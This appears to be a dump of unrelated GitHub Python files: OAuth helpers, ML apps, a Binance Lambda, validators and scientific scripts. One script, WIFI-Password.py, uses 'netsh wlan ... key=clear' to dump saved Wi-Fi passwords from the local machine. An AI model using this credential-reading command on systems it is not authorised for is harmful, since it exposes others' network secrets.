completed\")","repo_name":"tezsagalsosial/TezSagal","sub_path":"base_user/management/commands/create_slug.py","file_name":"create_slug.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"70544227035","text":"import hashlib\nimport os\nimport time\nimport uuid\nfrom jwcrypto import jwk\n\nimport jwt\n# from cryptography.hazmat.backends import default_backend\n# from cryptography.hazmat.primitives.asymmetric import rsa\n# from cryptography.hazmat.primitives import serialization\nimport base64\n\n\n# def base64url_to_int(value):\n# \"\"\"Converts a Base64URL encoded string to an integer.\"\"\"\n# padding = '=' * (4 - (len(value) % 4))\n# return int.from_bytes(base64.urlsafe_b64decode(value + padding), 'big')\n#\n\n# def jwk_to_pem_2(jwk_dict: dict) -> str:\n#\n# private_numbers = rsa.RSAPrivateNumbers(\n# d=base64url_to_int(jwk_dict[\"d\"]),\n# p=base64url_to_int(jwk_dict[\"p\"]),\n# q=base64url_to_int(jwk_dict[\"q\"]),\n# dmp1=base64url_to_int(jwk_dict[\"dp\"]),\n# dmq1=base64url_to_int(jwk_dict[\"dq\"]),\n# iqmp=base64url_to_int(jwk_dict[\"qi\"]),\n# public_numbers=rsa.RSAPublicNumbers(\n# e=base64url_to_int(jwk_dict[\"e\"]),\n# n=base64url_to_int(jwk_dict[\"n\"])\n# )\n# )\n# private_key = private_numbers.private_key(default_backend())\n#\n# pem_key = private_key.private_bytes(\n# encoding=serialization.Encoding.PEM,\n# format=serialization.PrivateFormat.PKCS8,\n# encryption_algorithm=serialization.NoEncryption()\n# ).decode(\"utf-8\")\n#\n# return pem_key\n\n\ndef jwk_to_pem(jwk_dict: dict):\n key = jwk.JWK(**jwk_dict)\n return key.export_to_pem(private_key=True, password=None).decode('utf-8')\n\n\ndef generate_unique_jwt_id() -> str:\n return str(uuid.uuid4())\n\n\ndef create_signed_jwt(client_id: str, token_endpoint: str, private_key: dict, jwt_id: str) -> str:\n # Convert JWK to PEM\n private_key_pem = jwk_to_pem(private_key)\n\n issue_at = int(time.time())\n\n # This function constructs a JWT and signs it using the private key.\n claims = {\n \"iss\": client_id,\n \"sub\": client_id,\n \"aud\": token_endpoint,\n \"exp\": issue_at + 600, # Token validity, e.g., 5 minutes\n \"iat\": issue_at,\n \"jti\": jwt_id,\n \"kid\": private_key[\"kid\"]\n }\n\n # Sign the JWT with the RSA private key\n signed_jwt = jwt.encode(claims, private_key_pem, algorithm=private_key[\"alg\"])\n\n return signed_jwt\n\n\nasync def generate_pkce_code_verifier() -> str:\n return base64.urlsafe_b64encode(os.urandom(40)).decode('utf-8').rstrip(\"=\")\n\n\nasync def generate_pkce_code_challenge(code_verifier: str) -> str:\n sha256 = hashlib.sha256()\n sha256.update(code_verifier.encode('utf-8'))\n return base64.urlsafe_b64encode(sha256.digest()).decode('utf-8').rstrip(\"=\")\n","repo_name":"jeremy-share/okta-learning","sub_path":"applications/sample_oauth_app/src/oauth_util.py","file_name":"oauth_util.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"37938098877","text":"import subprocess\r\nimport qrcode\r\n\r\ndata = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8', errors=\"backslashreplace\").split('\\n')\r\nprofiles = [i.split(\":\")[1][1:-1] for i in data if \"All User Profile\" in i]\r\nprint(\"Enter Network Name\")\r\nssid = input()\r\nfor i in profiles:\r\n results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8', errors=\"backslashreplace\").split('\\n')\r\n results = [b.split(\":\")[1][1:-1] for b in results if \"Key Content\" in b]\r\n if ssid in i: \r\n print(\"Your Password is =\" , results[0] ,\"\\n\")\r\n print('Do you want QR-Code ? , Press y for yes - n for no')\r\n q = input()\r\n if q == \"y\" :\r\n img = qrcode.make(str(results[0]))\r\n img.save(str(i)+'.png')\r\n print(\"QR Code Image is Generated Sucessfully\")\r\n elif q == \"n\":\r\n print(\"Thanks\")\r\n break\r\n break","repo_name":"Mmohsn/WIFI-Password-with-QRcode","sub_path":"WIFI-Password.py","file_name":"WIFI-Password.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"21941690963","text":"import streamlit as st\nimport os\nfrom PIL import Image\nimport tensorflow as tf\nfrom tensorflow.keras.preprocessing.image import load_img, img_to_array\nimport numpy as np\n\n# Load the trained model\nmodel = tf.keras.models.load_model('brain_tumor_model.h5')\n\n# Define a function to make predictions\ndef predict(image):\n img = load_img(image, target_size=(300, 300))\n img_array = img_to_array(img)\n img_array = img_array / 255.0 # Normalize the image\n img_array = np.expand_dims(img_array, axis=0) # Add batch dimension\n prediction = model.predict(img_array)\n return prediction[0][0] # The output is a single value (0 for No, 1 for Yes)\n\n# Streamlit GUI\nst.title(\"Brain Tumor Detection App\")\n\nuploaded_image = st.file_uploader(\"Upload an MRI image\", type=[\"jpg\", \"jpeg\", \"png\"])\n\nif uploaded_image is not None:\n st.image(uploaded_image, caption=\"Uploaded Image\", use_column_width=True)\n st.write(\"\")\n\n if st.button(\"Predict\"):\n prediction = predict(uploaded_image)\n if prediction > 0.5:\n st.write(\"Prediction: Yes, it's a brain tumor.\")\n else:\n st.write(\"Prediction: No, it's not a brain tumor.\")\n\nst.sidebar.title(\"About\")\nst.sidebar.info(\n \"This is a simple brain tumor detection app using a trained model. \"\n \"Upload an MRI image, and the app will predict whether a brain tumor is present or not.\"\n)\n\n","repo_name":"swayamverma412/Brain_Tumor_Detection","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"75070058076","text":"import os, json, math\nimport boto3\nfrom datetime import datetime\nfrom secret_manager import get_secret\nfrom binance.client import Client\nfrom binance.enums import *\nfrom binance.exceptions import BinanceAPIException, BinanceOrderException\n\n\ndef lambda_handler(event, context):\n print('event:', event)\n\n # event comes from EventBridge\n if 'detail' in event:\n params = event['detail']\n # event comes from API Gateway\n elif 'body' in event:\n params = json.loads(event['body'])\n else:\n params = event\n \n print('params:', params)\n\n secret_name = event['secret_name']\n secret = get_secret(secret_name)\n print('Secret ARN:', secret['ARN'])\n keys = json.loads(secret['SecretString'])\n client = Client(\n keys['BINANCE_API_KEY'], \n keys['BINANCE_API_SECRET']\n )\n\n try:\n '''\n An additional parameter, recvWindow, may be sent to specify the number of milliseconds after timestamp the request is valid for. \n If recvWindow is not sent, it defaults to 5000.\n Serious trading is about timing. Networks can be unstable and unreliable, which can lead to requests taking varying amounts of time to reach the servers. \n With recvWindow, you can specify that the request must be processed within a certain number of milliseconds or be rejected by the server.\n It is recommended to use a small recvWindow of 5000 or less!\n '''\n if 'origClientOrderId' in params or 'orderId' in params:\n '''\n Name\tType\tMandatory\tDescription\n symbol\tSTRING\tYES\t\n orderId\tLONG\tNO\t\n origClientOrderId\tSTRING\tNO\t\n recvWindow\tLONG\tNO\t\n timestamp\tLONG\tYES\t \n '''\n print('futures_get_order')\n response = client.futures_get_order(**params)\n\n elif 'symbol' in params: # and 'startTime' in params:\n '''\n symbol\tSTRING\tYES\t\n orderId\tLONG\tNO\t\n startTime\tLONG\tNO\t\n endTime\tLONG\tNO\t\n limit\tINT\tNO\tDefault 500; max 1000.\n recvWindow\tLONG\tNO\t\n timestamp\tLONG\tYES\t \n '''\n print('futures_get_all_orders')\n response = client.futures_get_all_orders(**params)\n print('Found {} orders'.format(len(response)))\n\n else:\n '''\n symbol\tSTRING\tNO\t\n recvWindow\tLONG\tNO\t\n timestamp\tLONG\tYES\t\n '''\n print('futures_get_open_orders')\n response = client.futures_get_open_orders(**params)\n print('Found {} orders'.format(len(response)))\n\n\n return response\n\n except BinanceAPIException as e:\n # error handling goes here\n print(e)\n return str(e)\n #raise e\n except BinanceOrderException as e:\n # error handling goes here\n print(e)\n return str(e)\n #raise e\n\n","repo_name":"cesschneider/binance-api-lambdas","sub_path":"binance_get_orders.py","file_name":"binance_get_orders.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"4751525800","text":"import time\nfrom allDesignsMenu import searchMenu\nfrom persistence import loadData\n\ndef searchItem(loadData):\t\n\twhile True:\n\t\tsearchMenu()\n\t\t\n\t\tsearchOption = input(\"Elija una opcion: \")\n\n\t\tif searchOption == \"1\":\n\t\t\ttime.sleep(1)\n\t\t\tloadData()\n\t\t\n\t\t\tfor price, item in stock:\n\t\t\t\tprint(\" Cantidad: \",stock[item],\" Producto: \",item,\" Precio unit. $: \",shop[price])\n\t\t\t\n\t\t\tprint()\n\t\t\tinput(\"Presione ENTER para volver al menu...\")\n\t\t\ttime.sleep(1)\n\t\t\n\t\telif searchOption == \"2\":\n\t\t\tbreak\n\t\n\t\telse:\n\t\t\tprint()\n\t\t\tprint(\"ERROR! OPCION INCORRECTA\")\n\t\t\ttime.sleep(1)\n","repo_name":"fmorenonahuel/fmorenoFiles","sub_path":"facturacionPy/searchItem.py","file_name":"searchItem.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"17073875113","text":"import os\nimport csv\nimport cv2\nimport random\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.utils import shuffle\nfrom keras.models import Model, Sequential\nfrom keras.layers import BatchNormalization, Input, Lambda, Activation, Flatten, Dense, Cropping2D, Convolution2D, Conv2D\nfrom keras.regularizers import l2\nfrom keras.optimizers import Adam\n\n\ndef resize(image):\n \"\"\"\n Returns an image resized to match the input size of the network.\n :param image: Image represented as a numpy array.\n \"\"\"\n return cv2.resize(image, (320, 160), interpolation=cv2.INTER_AREA)\n\n\ndef process_image(image):\n \"\"\"\n Processing pipeline for the image. Currently only resizing\n \"\"\"\n image = resize(image)\n return image\n\n\ndef load_data(name, file_path, X_data=None, y_data=None): \n \n images_paths = []\n steering_angles = []\n\n path = os.path.dirname(file_path)\n print(\"Loading data: \" + path)\n\n # Import data and remove most straight line driving using pandas:\n df = pd.read_csv(file_path,\n dtype={'center_img': np.str, 'left_img': np.str,\n 'right_img': np.str, 'steering': np.float64,\n 'throttle': np.float64, 'brake': np.float64,\n 'speed': np.float64}, header=0)\n\n \n df['steering'].plot.hist(title='Original steering distribution', bins=100)\n plt.savefig(fig_path + name + \"_1.png\")\n plt.gcf().clear()\n\n # Remove 92% of straight line driving data\n zero_indices = df[df['steering'] == 0].index\n remove_n = int(len(zero_indices)*0.92)\n df = df.drop(np.random.choice(zero_indices,size=remove_n,replace=False))\n\n # Remove 50% of steering action with a small angle\n f1= df['steering'] > -0.25 \n f2 = df['steering'] < 0.25\n zero_indices = df[f1 & f2].index\n remove_n = int(len(zero_indices)*0.5)\n df = df.drop(np.random.choice(zero_indices,size=remove_n,replace=False))\n\n df['steering'].plot.hist(title='Steering distribution after clean-up', bins=100)\n plt.savefig(fig_path + name + \"_2.png\")\n plt.gcf().clear()\n\n for index, row in df.iterrows():\n steering_center = float(row['steering']) \n\n # create adjusted steering measurements for the side camera images\n correction = 0.25 # this is a parameter to tune (was .25)\n steering_left = steering_center + correction\n steering_right = steering_center - correction\n\n img_center_path = path + '/IMG/' + row['center'].split('/')[-1]\n img_left_path = path + '/IMG/' + row['left'].split('/')[-1]\n img_right_path = path + '/IMG/' + row['right'].split('/')[-1]\n \n images_paths.extend([img_center_path, img_left_path, img_right_path])\n steering_angles.extend([steering_center, steering_left, steering_right])\n\n if X_data is not None and y_data is not None:\n X_data = np.append(X_data, images_paths)\n y_data = np.append(y_data, steering_angles)\n else:\n X_data = np.array(images_paths)\n y_data = np.array(steering_angles) \n\n return X_data, y_data\n\n\n\n\ndef random_shadow(img, strength=0.50):\n \"\"\"\n Random shawdow augmentation implementation as suggested by:\n https://chatbotslife.com/using-augmentation-to-mimic-human-driving-496b569760a9\n \"\"\"\n\n rows, cols, _ = img.shape\n\n img = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\n\n x_lo, x_hi = 0, rows\n\n rand_y = (cols * np.random.uniform(), cols * np.random.uniform())\n y_lo, y_hi = np.min(rand_y), np.max(rand_y)\n\n shadow_mask = 0 * img[:, :, 1]\n X_msk = np.mgrid[0:rows, 0:cols][0]\n Y_msk = np.mgrid[0:rows, 0:cols][1]\n shadow_mask[((X_msk - x_lo) * (y_lo - y_hi) - (x_hi - x_lo) * (Y_msk - y_hi) >= 0)] = 1\n\n if np.random.randint(2) == 1:\n random_bright = strength\n cond1 = shadow_mask == 1\n cond0 = shadow_mask == 0\n if np.random.randint(2) == 1:\n img[:, :, 1][cond1] = img[:, :, 1][cond1] * random_bright\n else:\n img[:, :, 1][cond0] = img[:, :, 1][cond0] * random_bright\n img = np.array(img).astype(np.uint8)\n img = cv2.cvtColor(img, cv2.COLOR_HLS2RGB)\n\n\n return img\n\n\ndef disturb_brightness(img, strength=0.50):\n\n # will create a random brightness factor between [strenght, 1+strenght] to apply to the brightness channel\n rnd_brightness = strength + np.random.uniform()\n\n img = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n img = np.array(img).astype(np.float64)\n img[:, :, 2] = np.clip(img[:, :, 2] * rnd_brightness, 0, 255)\n img = np.array(img).astype(np.uint8)\n img = cv2.cvtColor(img, cv2.COLOR_HSV2RGB)\n\n return img\n\n\ndef generate_data(X_samples, y_samples):\n images = []\n angles = []\n shuffle(X_samples, y_samples)\n for name, steering_angle in zip(X_samples, y_samples):\n augmented = False\n image = process_image(cv2.imread(name))\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n images.append(image)\n angles.append(steering_angle) \n \n # Data augmentation\n if np.random.uniform(0., 1.) < 0.60:\n image = random_shadow(image)\n augmented = True\n \n if np.random.uniform(0., 1.) < 0.60:\n image = disturb_brightness(image)\n augmented = True\n \n if np.random.uniform(0., 1.) < 0.50:\n image = np.fliplr(image)\n steering_angle = -steering_angle\n augmented = True\n\n if augmented:\n images.append(image)\n angles.append(steering_angle) \n \n X_train = np.array(images)\n y_train = np.array(angles)\n return X_train, y_train\n\n\n\"\"\"\n This function will return a convolutional neural network based on\n \"End to End Learning for Self-Driving Cars\" by NVIDIA\n http://images.nvidia.com/content/tegra/automotive/images/2016/solutions/pdf/end-to-end-dl-using-px.pdf\n\"\"\"\ndef get_model(input_shape):\n \n i_rows, i_cols, i_channels = input_shape\n\n inputs = Input(((i_rows, i_cols, i_channels)))\n\n x = Cropping2D(cropping=((30, 25), (0, 0)))(inputs)\n x = BatchNormalization()(x)\n\n x = Conv2D(24, kernel_size = (5, 5), padding='valid', subsample=(2, 2), use_bias=False)(x)\n x = BatchNormalization()(x)\n x = Activation(\"relu\")(x)\n\n x = Conv2D(36, kernel_size = (5, 5), padding='valid', subsample=(2, 2), use_bias=False)(x)\n x = BatchNormalization()(x)\n x = Activation(\"relu\")(x)\n\n x = Conv2D(48, kernel_size = (5, 5), padding='valid', subsample=(2, 2), use_bias=False)(x)\n x = BatchNormalization()(x)\n x = Activation(\"relu\")(x)\n\n x = Conv2D(64, kernel_size = (3, 3), padding='valid', use_bias=False)(x)\n x = BatchNormalization()(x)\n x = Activation(\"relu\")(x)\n\n x = Conv2D(64, kernel_size = (3, 3), activation='relu', padding='valid', use_bias=True)(x)\n x = Flatten()(x)\n x = Dense(100, kernel_regularizer=l2(reg), activation='relu', use_bias=True)(x)\n x = Dense(50, kernel_regularizer=l2(reg), activation='relu', use_bias=True)(x)\n x = Dense(10, kernel_regularizer=l2(reg), activation='relu', use_bias=True)(x)\n\n output = Dense(1, activation='relu', use_bias=True)(x)\n model = Model(input=inputs, output=output)\n\n return model\n\n\n\nif __name__ == '__main__':\n fig_path = './figures/' \n reg = 1e-3\n lr = 1e-3\n optimizer = Adam(lr=lr) \n\n\n model = get_model(input_shape=(160, 320, 3))\n model.summary()\n \n # I trained the model with the default learning rate for Adam and it behaved\n # so well that I didn't feel I had much to gain by changing the initial Learning\n # rate.\n model.compile(optimizer=optimizer, loss='mse')\n\n\n # Load the data sets. We use the original udacity data set for track one\n # and a reverse recorded set for track one. For track two I've recorded\n # two rounds. For each track we have 2 rounds of recorded data.\n X_data, y_data = load_data('udacity_test_data', '/Volumes/Data 2/train-data/data/driving_log.csv')\n X_data, y_data = load_data('reverse_track_1', '/Volumes/Data 2/train-data/reverse-track/driving_log.csv', X_data, y_data)\n X_data, y_data = load_data('track_2_a', '/Volumes/Data 2/train-data/challange5/driving_log.csv', X_data, y_data)\n X_data, y_data = load_data('track_2_b', '/Volumes/Data 2/train-data/challange6/driving_log.csv', X_data, y_data)\n\n X_data, y_data = shuffle(X_data, y_data, random_state=14)\n\n # Generate the training and validation data (apply augmentation)\n X_train, y_train = generate_data(X_data, y_data)\n\n print(\"Size of dataset: \" + str(len(X_train)))\n\n history_object = model.fit(X_train, y_train, validation_split=0.2, epochs=10, verbose=1)\n\n ### print the keys contained in the history object\n print(history_object.history.keys())\n\n ### plot the training and validation loss for each epoch\n plt.plot(history_object.history['loss'])\n plt.plot(history_object.history['val_loss'])\n plt.title('model mean squared error loss')\n plt.ylabel('mean squared error loss')\n plt.xlabel('epoch')\n plt.legend(['training set', 'validation set'], loc='upper right')\n plt.savefig(fig_path + \"training.png\")\n\n\n\n model.save('./Term1/CarND-Behavioral-Cloning-P3/model.h5')\n","repo_name":"taunusflieger/CarND-Behavioral-Cloning-P3","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"23231844629","text":"import string\nfrom .models import CharacterSet\nfrom .serializers import CharacterSerializer\n\n\ndef ValidateSet(text):\n # charData = CharacterSet.objects.all()\n # serializer = CharacterSerializer(charData, many=True)\n # charSet = serializer.data[0]['text']\n valid_chars = set(\n '()'aA-àÀ?âÂ,bB.cC;çÇ:dD!eEéÉèÈêÊëfFgGhHiIîÎïjJkKlLmMnNoOôÔpPqQrRsStTuUùûvVwWxXyYzZ [NB:')\n if all(char in valid_chars for char in text):\n return True\n else:\n return False\n\n\ndef ValidateCaps(text):\n isValidated = True\n words = text.split()\n for word in words:\n isAllLower = word.islower()\n isAllUpper = word.isupper()\n isTitleCase = word[0] == word[0].upper(\n ) and word[1:] == word[1:].lower()\n\n if not(isAllLower or isAllUpper or isTitleCase):\n isValidated = False\n break\n return isValidated\n\n\ndef ValidationSpace(text):\n for i in range(1, len(text)):\n\n if(text[i] == ' ' and text[i-1] == ' '):\n return False\n\n return True\n\n\ndef ValidateStringTerminators(str):\n isValidate = True\n for i in range(0, len(str)):\n if(str[i] == '?' or str[i] == \"!\" or str[i] == \".\"):\n isLast = i == len(str) - 1\n if (isLast):\n return True\n\n isAccompaniedBySpace = str[i+1] == \" \"\n isSpaceAccomapniedByUpper = i + \\\n 2 < len(str) and str[i+2] != None and str[i+2].isupper()\n\n if not (isAccompaniedBySpace and isSpaceAccomapniedByUpper):\n isValidate = False\n break\n\n return isValidate\n\n\ndef ValidateStringPausers(str):\n isValidate = True\n for i in range(0, len(str)):\n if(str[i] == ',' or str[i] == \";\" or str[i] == \":\"):\n isLast = i == len(str) - 1\n if (isLast):\n return True\n\n isAccompaniedBySpace = str[i+1] == \" \"\n isNotAccompaniedBySecondSpace = i + \\\n 2 < len(str) and str[i+2] != None and str[i+2] != \" \"\n\n if not (isAccompaniedBySpace and isNotAccompaniedBySecondSpace):\n isValidate = False\n break\n\n return isValidate\n","repo_name":"aloksingh3112/AudioTranscriber","sub_path":"backend/api/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72966126876","text":"from math import cos, pi \nimport pyaudio, struct\nimport tkinter as Tk\nimport pyaudio, wave, struct, math\nimport numpy as np\nimport scipy.signal\nfrom myfunctions import bandpass_filter \t\n\n# quit function\ndef fun_quit():\n global CONTINUE\n print('Good bye')\n CONTINUE = False\n\n\nFs = 16000 # rate (samples/second)\n\n# Define Tkinter root\nroot = Tk.Tk()\n\n# Define Tk variables\nchangeRate = Tk.DoubleVar()\nbandWidth = Tk.DoubleVar()\n\n# Initialize Tk variables\nchangeRate.set(1)\nbandWidth.set(100)\n\n# Define widgets\nS_rate = Tk.Scale(root, label = 'Changing rate', variable = changeRate, from_ = 1, to = 10)\nS_bandWidth = Tk.Scale(root, label = 'Bandwidth', variable = bandWidth, from_ = 100, to = 500)\nB_quit = Tk.Button(root, text = 'Quit', command = fun_quit)\n\n# Place widgets\nB_quit.pack(side = Tk.BOTTOM, fill = Tk.X)\nS_rate.pack(side = Tk.LEFT)\nS_bandWidth.pack(side = Tk.LEFT)\n\n# Create Pyaudio object\np = pyaudio.PyAudio()\nstream = p.open(\n format = pyaudio.paInt16, \n channels = 1, \n rate = Fs,\n input = False, \n output = True,\n frames_per_buffer = 32)\n # specify low frames_per_buffer to reduce latency\n\nBLOCKLEN = 32\noutput_block = [0] * BLOCKLEN\nstates = np.zeros(4)\nCONTINUE = True\ni = 0\n\nprint('* Start')\nwhile CONTINUE:\n \n root.update()\n # generate white noise\n whiteWave = np.random.normal(500, 1000, size=BLOCKLEN)\n # generate center frequency\n centerFreq = 1000 * (math.cos(changeRate.get() / 2000 * math.pi * i) + 2)\n # bandpass filter\n [output_block, states] = bandpass_filter(whiteWave, centerFreq, Fs, states, bandWidth.get())\n # enlarge amplitude\n for j in range(BLOCKLEN):\n output_block[j] *= 3\n # generate binary data\n binary_data = struct.pack('h' * BLOCKLEN, *output_block) # 'h' for 16 bits\n stream.write(binary_data)\n i += 1\n\nprint('* Finished')\n\nstream.stop_stream()\nstream.close()\np.terminate()\n","repo_name":"BraveCaptain/ECE-6183-2020-Summer","sub_path":"Exam/q2/q2.py","file_name":"q2.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"37351864450","text":"# CP template Version 1.006\n# import io\nimport os\nimport sys\n#import string\n#from functools import cmp_to_key, reduce, partial\n#import itertools\n#from itertools import combinations\n#import collections\n#from collections import deque\n#from collections import Counter, defaultdict as dd\n#import math\n#from math import log, log2, ceil, floor, gcd, sqrt\n#from heapq import heappush, heappop\n#import bisect\n#from bisect import insort_left as il\nDEBUG = False\n\n\ndef main(f=None):\n init(f)\n # ######## INPUT AREA BEGIN ##########\n\n check = lambda r1, r2: r1[0] <= r2[1] and r2[0] <= r1[1]\n\n N, M = map(int, input().split())\n K = int(input().strip())\n h = v = 0\n hor = [[] for _ in range(N+1)]\n ver = [[] for _ in range(M+1)]\n grp = [[] for _ in range(K+1)]\n vis = [0] * (K+2)\n\n for _ in range(K):\n b, x1, y1, x2, y2 = map(int, input().split())\n if x1 == x2:\n if y1 > y2:\n y1, y2 = y2, y1\n h += y2 - y1\n arr, f, l, r = hor, x1, y1, y2\n else:\n if x1 > x2:\n x1, x2 = x2, x1\n v += x2 - x1\n arr, f, l, r = ver, y1, x1, x2\n\n for e in arr[f]:\n if check(e[1], (l, r)):\n grp[e[0]].append(b)\n grp[b].append(e[0])\n arr[f].append((b, (l, r)))\n \n ar1, ar2 = (hor, ver) if h <= v else (ver, hor)\n\n for ai in range(len(ar1)):\n for b1, (l, r) in ar1[ai]:\n for c2 in ar2[l:r+1]:\n for b2, r2 in c2:\n if check(r2, (ai, ai)):\n grp[b1].append(b2)\n grp[b2].append(b1)\n\n sx, sy, dx, dy = map(int, input().split())\n\n for b, r in hor[sx]:\n if check(r, (sy, sy)):\n grp[0].append(b)\n for b, r in ver[sy]:\n if check(r, (sx, sx)):\n grp[0].append(b)\n for b, r in hor[dx]:\n if check(r, (dy, dy)):\n grp[b].append(K+1)\n for b, r in ver[dy]:\n if check(r, (dx, dx)):\n grp[b].append(K+1)\n\n cque = [0]\n vis[0] = 1\n for trns in range(-1, K+2):\n nque = []\n for cur in cque:\n if cur == K+1:\n nque = []\n break\n for nxt in grp[cur]:\n if not vis[nxt]:\n vis[nxt] = 1\n nque.append(nxt)\n if not nque:\n break\n cque = nque\n \n return trns\n\n# TEMPLATE ###############################\n\n\nenu = enumerate\n\n\ndef For(*args):\n return itertools.product(*map(range, args))\n\n\ndef Mat(h, w, default=None):\n return [[default for _ in range(w)] for _ in range(h)]\n\n\ndef nDim(*args, default=None):\n if len(args) == 1:\n return [default for _ in range(args[0])]\n else:\n return [nDim(*args[1:], default=default) for _ in range(args[0])]\n\n\ndef setStdin(f):\n global DEBUG, input\n DEBUG = True\n sys.stdin = open(f)\n input = sys.stdin.readline\n\n\ndef init(f=None):\n global input\n input = sys.stdin.readline # io.BytesIO(os.read(0, os.fstat(0).st_size)).readline \n if os.path.exists(\"o\"):\n sys.stdout = open(\"o\", \"w\")\n if f is not None:\n setStdin(f)\n else:\n if len(sys.argv) == 1:\n if os.path.isfile(\"in/i\"):\n setStdin(\"in/i\")\n elif os.path.isfile(\"i\"):\n setStdin(\"i\")\n elif len(sys.argv) == 2:\n setStdin(sys.argv[1])\n else:\n assert False, \"Too many sys.argv: %d\" % len(sys.argv)\n\n\ndef pr(*args):\n if DEBUG:\n print(*args)\n\n\ndef pfast(*args, end=\"\\n\", sep=' '):\n sys.stdout.write(sep.join(map(str, args)) + end)\n\n\ndef parr(arr):\n for i in arr:\n print(i)\n\n\nif __name__ == \"__main__\":\n print(main())","repo_name":"TaemHam/Baekjoon_Submission","sub_path":"2536 버스 갈아타기/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"19597571159","text":"import numpy as np\r\nimport pygimli.meshtools as mt\r\nimport pygimli as pg\r\n#Div. functions for Python files\r\n#Error calculation: select rho from different file names\r\n\r\n#Strip values:\r\ndef strip_first_col(fname, delimiter=None):\r\n with open(fname, 'r') as fin:\r\n for line in fin:\r\n try:\r\n yield line.split(delimiter, 1)[1]\r\n except IndexError:\r\n continue\r\n\r\n#Create Tree Geometry:\r\ndef Tree_geometry(GEOM, area, quality, height):\r\n center_pos = [GEOM[:, 1].min() + (GEOM[:, 1].max() - GEOM[:, 1].min()) / 2,\r\n GEOM[:, 2].min() + (GEOM[:, 2].max() - GEOM[:, 2].min()) / 2, 0.0]\r\n El_geom = mt.createPolygon(GEOM[:, 1:3],\r\n isClosed=True,\r\n area=area,\r\n quality=quality,\r\n boundaryMarker=1) # , addNodes=refi_node)\r\n Tree_Geom = mt.extrude(El_geom, z=height) # marker=2)\r\n return center_pos, Tree_Geom\r\n\r\n#Set ERT Position and create mesh:\r\ndef ERT_position(nel, Tree_Geom, GEOM, zel, center_pos, height):\r\n for i in range(nel):\r\n # set the electrodes as nodes with marker -99 to the geometry\r\n # Index = Tree_Geom.findNearestNode((GEOM[i,1], GEOM[i,2], zel))\r\n # Tree_Geom.node(Index).setMarker(-99)\r\n Tree_Geom.createNode(pg.Pos(GEOM[i, 1], GEOM[i, 2], zel), marker=-99)\r\n # For sufficient numerical accuracy it is generally a good idea to refine the mesh in the vicinity of the electrodes positions.\r\n Tree_Geom.createNode([GEOM[i, 1], GEOM[i, 2], zel - 1e-3 / 2])\r\n # Always need dipole current injection since there can be no current flow out of the closed boundaries.\r\n # Define a reference electrode position inside the PLC, with a marker -999, somewhere away from the electrodes (and refine it).\r\n Tree_Geom.createNode(center_pos, marker=-999)\r\n Tree_Geom.createNode([center_pos[0], center_pos[1], center_pos[2] - 1e-3 / 2])\r\n # The second problem for pure Neumann domains is the non-uniqueness of the partial differential equation (there are only partial derivatives of the electric potential so an arbitrary value might be added, i.e. calibrated).\r\n # Add calibration node with marker -1000 where the potential is fixed , somewhere on the boundary and far from the electrodes.\r\n Tree_Geom.createNode([center_pos[0], center_pos[1], height/2], marker=-1000)#height/2\r\n Tree = mt.createMesh(Tree_Geom)\r\n return Tree, Tree_Geom\r\n\r\n\r\n#Error calculation: select rho from different file names\r\ndef select_val(fname, line):\r\n data = np.loadtxt(fname)\r\n val = data[:,line]\r\n val = np.abs(val)\r\n return val\r\n\r\n#Error calculation: calculation\r\ndef error_calc(file1, file2, file3):\r\n rho1 = select_val(file1, 7)\r\n rho2 = select_val(file1, 10)\r\n rho3 = select_val(file2, 7)\r\n rho4 = select_val(file2, 10)\r\n rho5 = select_val(file3, 7)\r\n rho6 = select_val(file3, 10)\r\n sign1 = np.sign(rho1) + np.sign(rho3) + np.sign(rho5)\r\n sign2 = np.sign(rho2) + np.sign(rho4) + np.sign(rho6)\r\n\r\n data_pos = np.array([rho2, rho4, rho6])\r\n data_neg = np.array([rho1, rho3, rho5])\r\n #all_data = np.array([rho1, rho2, rho3, rho4, rho5, rho6])\r\n\r\n std1 = np.std(data_neg, axis=0)\r\n std2 = np.std(data_pos, axis=0)\r\n mean1 = np.mean(data_neg, axis=0)\r\n mean2 = np.mean(data_pos, axis=0)\r\n\r\n #std = np.std(all_data, axis=0)\r\n med_rhoa = np.median(data_neg, axis=0)\r\n std = np.std(data_neg, axis=0)\r\n #std_2=((1/6)*rho1)**2+((1/6)*rho2)**2+((1/6)*rho3)**2+((1/6)*rho4)**2+((1/6)*rho5)**2+((1/6)*rho6)**2-(med_rhoa**2)\r\n #std_1=np.sqrt(abs(std_2))\r\n err = (med_rhoa-std)/med_rhoa\r\n #err2 = (med_rhoa-std_1)/med_rhoa\r\n return err, med_rhoa , sign1, sign2, std1, std2, mean1, mean2, std #, err2, std_2, 